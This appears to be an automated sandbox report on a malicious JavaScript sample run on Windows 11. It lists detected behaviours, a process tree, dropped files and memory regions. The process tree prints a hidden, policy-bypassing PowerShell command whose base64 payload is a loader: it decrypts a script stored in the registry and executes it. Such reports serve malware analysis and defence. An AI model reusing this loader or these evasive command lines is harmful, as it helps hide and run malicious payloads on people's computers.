Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 23:13

General

  • Target
    c4267c66c433f9fe48133c87afaaeaae9db95e0a4a049c5278f347de78de19d6.js
  • Size 733KB
  • Sample260820-27f8msxbkh
  • SHA256 c4267c66c433f9fe48133c87afaaeaae9db95e0a4a049c5278f347de78de19d6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 17 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\c4267c66c433f9fe48133c87afaaeaae9db95e0a4a049c5278f347de78de19d6.js
    1⤵
    • Deletes itself
    PID:1836
  • C:\Windows\System32\conhost.exe
    C:\Windows\\System32\\conhost.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe
      2⤵
        PID:2456
    • C:\Windows\System32\conhost.exe
      "C:\Windows\\System32\\conhost.exe" --headless cmd /c "C:\Users\Admin\AppData\Local\Temp\d908vms8.cmd"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:5420
      • C:\Windows\System32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Local\Temp\d908vms8.cmd
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -WindowStyle Hidden -nologo -nop -ep Bypass -File "C:\Users\Admin\AppData\Local\Temp\ca499ce906.ps1"
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qcmduvtg\qcmduvtg.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:364
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3B88.tmp" "c:\Users\Admin\AppData\Local\Temp\qcmduvtg\CSC4AE4AB017A20428B88A976CB2FB117CD.TMP"
              5⤵
                PID:248
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" --headless cmd /c "C:\Users\Admin\AppData\Local\Temp\hm3h2tehwli.cmd"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3868
              • C:\Windows\System32\cmd.exe
                cmd /c C:\Users\Admin\AppData\Local\Temp\hm3h2tehwli.cmd
                5⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4432
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nologo -nop -ep Bypass -EncodedCommand JABfAHIAdgA9ACgAZwBwACAAJwBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABXAGkAbgBoAG4AegBuAHgAcgBNAGcAcgAnACAALQBFAEEAIAAwACkAOwBpAGYAKAAkAF8AcgB2ACAALQBhAG4AZAAgACQAXwByAHYALgBkACkAewAkAF8AYgA9AFsAYgB5AHQAZQBbAF0AXQAkAF8AcgB2AC4AZAA7ACQAXwBrAD0AWwBiAHkAdABlAFsAXQBdAEAAKAAxADAAMQAsADEAMAAwACwAMQAzACwAMQA0ADEALAAyADEAMgAsADEANwAxACwAMgAyADgALAAzADQALAAyADMANgAsADEANQA2ACwANgAwACwAMQAyADgALAAyADQAMAAsADIAMwA1ACwAMgA0ADQALAAyADEAMAAsADEAMgAyACwANgAsADIANQAxACwAMgAyADgALAAxADUAMwAsADgAMgAsADIAMQA4ACwAMwAwACwANgAwACwAMgAwADIALAAyADQAMQAsADEAMgA2ACwAMQAzADMALAAyADIAMAAsADEANQA1ACwAMQAzACkAOwAkAF8AawAxAD0AJABfAGsAWwAwAC4ALgAxADUAXQA7ACQAXwBrADIAPQAkAF8AawBbADEANgAuAC4AMwAxAF0AOwAkAF8AdABCAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABfAGIALgBMAGUAbgBnAHQAaAA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAtAGwAdAAkAF8AYgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABfAHMAZgA9ACgAJABfAGsAMgBbACQAaQAlACQAXwBrADIALgBMAGUAbgBnAHQAaABdACsAJABpACkAJQAyADUANgA7ACQAXwB2AD0AKAAkAF8AYgBbACQAaQBdAC0AJABfAHMAZgApACUAMgA1ADYAOwBpAGYAKAAkAF8AdgAgAC0AbAB0ACAAMAApAHsAJABfAHYAKwA9ADIANQA2AH0AOwAkAF8AdABCAFsAJABpAF0APQAkAF8AdgB9ADsAJABfAHMAdAA9ADAALgAuADIANQA1ADsAJABfAGoAPQAwADsAMAAuAC4AMgA1ADUAfAAlAHsAJABfAGoAPQAoACQAXwBqACsAJABfAHMAdABbACQAXwBdACsAJABfAGsAMQBbACQAXwAlACQAXwBrADEALgBMAGUAbgBnAHQAaABdACkAJQAyADUANgA7ACQAXwB0AD0AJABfAHMAdABbACQAXwBdADsAJABfAHMAdABbACQAXwBdAD0AJABfAHMAdABbACQAXwBqAF0AOwAkAF8AcwB0AFsAJABfAGoAXQA9ACQAXwB0AH0AOwAkAF8AeAA9ADAAOwAkAF8AeQA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkALQBsAHQAJABfAHQAQgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABfAHgAPQAoACQAXwB4ACsAMQApACUAMgA1ADYAOwAkAF8AeQA9ACgAJABfAHkAKwAkAF8AcwB0AFsAJABfAHgAXQApACUAMgA1ADYAOwAkAF8AdAA9ACQAXwBzAHQAWwAkAF8AeABdADsAJABfAHMAdABbACQAXwB4AF0APQAkAF8AcwB0AFsAJABfAHkAXQA7ACQAXwBzAHQAWwAkAF8AeQBdAD0AJABfAHQAOwAkAF8AYgBbACQAaQBdAD0AJABfAHQAQgBbACQAaQBdAC0AYgB4AG8AcgAkAF8AcwB0AFsAKAAkAF8AcwB0AFsAJABfAHgAXQArACQAXwBzAHQAWwAkAF8AeQBdACkAJQAyADUANgBdAH0AOwAkAF8AcwA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAF8AYgApADsAJABfAHQAbgA9ACcAcwBjAHIAaQAnACsAJwBwAHQAYgBsAG8AJwArACcAYwBrACcAOwAkAF8AbQBuAD0AJwBDAHIAJwArACcAZQBhAHQAZQAnADsAJABfAHQAPQBbAHQAeQBwAGUAXQAkAF8AdABuADsALgAgACgAJABfAHQAOgA6ACQAXwBtAG4AKAAkAF8AcwApACkAfQA=
                  6⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1916
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v1bsf3a1\v1bsf3a1.cmdline"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3556
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp" "c:\Users\Admin\AppData\Local\Temp\v1bsf3a1\CSCA266966A4F074F18B14E15295CA2CEA5.TMP"
                      8⤵
                        PID:1852

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 2KB
              • SHA256 4ddf93f930dac3a45ceb072a7ef08a5dfcb4e8a27e0ef20b2d1ca2dacb1aae1f
              • MD5 SHA1 SHA512 TLSH

              RES3B88.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES3B88.tmp
              • Size 1KB
              • SHA256 d9dc9e122f79d8eab097d89f636ce5167c665171b2ba1e7ad8aa6a2a0d1bc7e7
              • MD5 SHA1 SHA512 TLSH

              RES74A9.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES74A9.tmp
              • Size 1KB
              • SHA256 91372e051d1adba7ceb8cb8afdc379df1a3a753eca3a32cb01f7bfcc0d602051
              • MD5 SHA1 SHA512 TLSH

              ca499ce906.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\ca499ce906.ps1
              • Size 223KB
              • SHA256 327e4a995a821cdf40e92a652d70d242b86e580c44e9264c4c74b6efdfb7dc8c
              • MD5 SHA1 SHA512 SSDEEP TLSH

              d908vms8.cmd

              • Path C:\Users\Admin\AppData\Local\Temp\d908vms8.cmd
              • Size 235B
              • SHA256 63c9a6f57b4b9103378c69a13f7aa83683174c2cb02f76d9752c6fdf5a42368b
              • MD5 SHA1 SHA512 TLSH

              hm3h2tehwli.cmd

              • Path C:\Users\Admin\AppData\Local\Temp\hm3h2tehwli.cmd
              • Size 2KB
              • SHA256 a6f548294f3a82ec8ca096a4145319afa4f66411b912669119fed6a599ed8812
              • MD5 SHA1 SHA512 TLSH

              qcmduvtg.dll

              • Path C:\Users\Admin\AppData\Local\Temp\qcmduvtg\qcmduvtg.dll
              • Size 3KB
              • SHA256 112288517420e9b9cb3d73262cd4b49bca004506aa02c36235575f864e55c27a
              • MD5 SHA1 SHA512 TLSH

              v1bsf3a1.dll

              • Path C:\Users\Admin\AppData\Local\Temp\v1bsf3a1\v1bsf3a1.dll
              • Size 5KB
              • SHA256 b70965797f4958687f534361aef6fc68766fcb414499d4d54e1c6895197c51f0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSC4AE4AB017A20428B88A976CB2FB117CD.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcmduvtg\CSC4AE4AB017A20428B88A976CB2FB117CD.TMP
              • Size 652B
              • SHA256 0166ebfe89d71b870a80b883d943175e88a301b3ccd4c0d5da667ee1514f6d3f
              • MD5 SHA1 SHA512 TLSH

              qcmduvtg.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcmduvtg\qcmduvtg.0.cs
              • Size 453B
              • SHA256 d210321f3816168064daa58fc8f58daa2b2d80cc44d9a6329c2daf3547ff365d
              • MD5 SHA1 SHA512 TLSH

              qcmduvtg.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcmduvtg\qcmduvtg.cmdline
              • Size 369B
              • SHA256 7d24b48a20e0f02ebe38cbd6e7a8b353da505e4efa2fb1e2c470c2ac1500e933
              • MD5 SHA1 SHA512 TLSH

              CSCA266966A4F074F18B14E15295CA2CEA5.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v1bsf3a1\CSCA266966A4F074F18B14E15295CA2CEA5.TMP
              • Size 652B
              • SHA256 7b3c11cef2d1b4dba4723b33be52be0f2d6ca1c9404baafdecf27041d345fe3f
              • MD5 SHA1 SHA512 TLSH

              v1bsf3a1.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v1bsf3a1\v1bsf3a1.0.cs
              • Size 2KB
              • SHA256 11eef94091a5ab75ce8dc3b0a3f3d4e324ca1f77fa1f2fb4a93c4c626cf0c097
              • MD5 SHA1 SHA512 TLSH

              v1bsf3a1.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\v1bsf3a1\v1bsf3a1.cmdline
              • Size 369B
              • SHA256 8ba79013f0c410029ecaccab0da25517c125f9ed2c4538f24f11caedc8d27333
              • MD5 SHA1 SHA512 TLSH

              memory/1916-30-0x0000000005330000-0x0000000005396000-memory.dmp

              memory/1916-39-0x0000000006590000-0x00000000065B2000-memory.dmp

              memory/1916-28-0x0000000005220000-0x0000000005242000-memory.dmp

              memory/1916-33-0x0000000005AD0000-0x0000000005E2B000-memory.dmp

              memory/1916-27-0x0000000005480000-0x0000000005ACA000-memory.dmp

              memory/1916-35-0x0000000005FE0000-0x0000000005FFE000-memory.dmp

              memory/1916-36-0x0000000006030000-0x000000000607C000-memory.dmp

              memory/1916-37-0x0000000006FB0000-0x0000000007046000-memory.dmp

              memory/1916-38-0x0000000006530000-0x000000000654A000-memory.dmp

              memory/1916-29-0x00000000052C0000-0x0000000005326000-memory.dmp

              memory/1916-40-0x0000000007690000-0x0000000007C4A000-memory.dmp

              memory/1916-41-0x00000000082D0000-0x000000000894C000-memory.dmp

              memory/1916-26-0x0000000002AF0000-0x0000000002B26000-memory.dmp

              memory/1916-55-0x0000000007340000-0x000000000735C000-memory.dmp

              memory/1916-54-0x0000000007320000-0x0000000007328000-memory.dmp

              memory/4136-7-0x0000017929A40000-0x0000017929AB6000-memory.dmp

              memory/4136-5-0x00000179295F0000-0x0000017929612000-memory.dmp

              memory/4136-8-0x00000179299C0000-0x00000179299DE000-memory.dmp

              memory/4136-21-0x0000017929780000-0x0000017929788000-memory.dmp